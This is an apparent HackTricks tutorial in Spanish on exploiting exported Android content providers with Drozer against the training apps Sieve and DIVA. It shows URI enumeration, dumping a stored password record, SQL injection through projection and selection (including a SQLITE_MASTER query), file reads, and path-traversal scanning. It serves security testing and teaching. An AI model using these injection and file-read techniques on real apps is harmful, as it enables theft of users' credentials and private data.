Exploiting Content Providers

Explotando Proveedores de Contenido

Aprende a hackear AWS desde cero hasta convertirte en un experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Introducción

Los datos son suministrados de una aplicación a otras a petición por un componente conocido como un proveedor de contenido. Estas solicitudes son gestionadas a través de los métodos de la clase ContentResolver. Los proveedores de contenido pueden almacenar sus datos en varias ubicaciones, como una base de datos, archivos, o a través de una red.

En el archivo Manifest.xml, se requiere la declaración del proveedor de contenido. Por ejemplo:

<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>

Para acceder a content://com.mwr.example.sieve.DBContentProvider/Keys, se necesita el permiso READ_KEYS. Es interesante notar que la ruta /Keys/ es accesible en la siguiente sección, la cual no está protegida debido a un error del desarrollador, quien aseguró /Keys pero declaró /Keys/.

Tal vez puedas acceder a datos privados o explotar alguna vulnerabilidad (Inyección SQL o Traversal de Ruta).

Obtener información de proveedores de contenido expuestos

dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False

Es posible reconstruir cómo llegar al DBContentProvider comenzando URIs con "content://". Este enfoque se basa en información clave obtenida al usar Drozer, donde se ubicaba información clave en el directorio /Keys.

Drozer puede adivinar y probar varios URIs:

dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

Deberías también revisar el código del ContentProvider para buscar consultas:

Además, si no puedes encontrar consultas completas, podrías verificar qué nombres son declarados por el ContentProvider en el método onCreate:

La consulta será como: content://nombre.del.paquete.clase/nombre_declarado

Proveedores de contenido respaldados por bases de datos

Probablemente la mayoría de los Proveedores de Contenido se utilizan como interfaz para una base de datos. Por lo tanto, si puedes acceder a él, podrías ser capaz de extraer, actualizar, insertar y eliminar información. Verifica si puedes acceder a información sensible o intenta cambiarla para burlar los mecanismos de autorización.

Al revisar el código del Proveedor de Contenido, busca también funciones con nombres como: query, insert, update y delete:

Porque podrás llamarlas

Consulta de contenido

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com

Insertar contenido

Al consultar la base de datos aprenderás el nombre de las columnas, luego podrás insertar datos en la BD:

Nota que en la inserción y actualización puedes usar --string para indicar cadena, --double para indicar un doble, --float, --integer, --long, --short, --boolean

Actualizar contenido

Conociendo el nombre de las columnas también podrías modificar las entradas:

Eliminar contenido

Inyección SQL

Es sencillo probar la inyección SQL (SQLite) manipulando los campos de proyección y selección que se pasan al proveedor de contenido. Al consultar el Proveedor de Contenido hay 2 argumentos interesantes para buscar información: --selección y --proyección:

Puedes intentar abusar de estos parámetros para probar las inyecciones SQL:

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type  | name             | tbl_name         | rootpage | sql              |
| table | android_metadata | android_metadata | 3        | CREATE TABLE ... |
| table | Passwords        | Passwords        | 4        | CREATE TABLE ... |

Descubrimiento automático de inyección SQL por Drozer

dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence

Proveedores de contenido respaldados por el sistema de archivos

Los proveedores de contenido también podrían ser utilizados para acceder a archivos:

Leer un archivo

Puedes leer archivos desde el Proveedor de Contenido

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost

Traversing de Ruta

Si puedes acceder a archivos, puedes intentar abusar de un Traversal de Ruta (en este caso no es necesario, pero puedes intentar usar "../" y trucos similares).

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost

Descubrimiento automático de Traversal de Ruta por Drozer

dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider

Referencias

Aprende a hackear AWS de cero a héroe con htARTE (Experto en Red Team AWS de HackTricks)!

Otras formas de apoyar a HackTricks:

Última actualización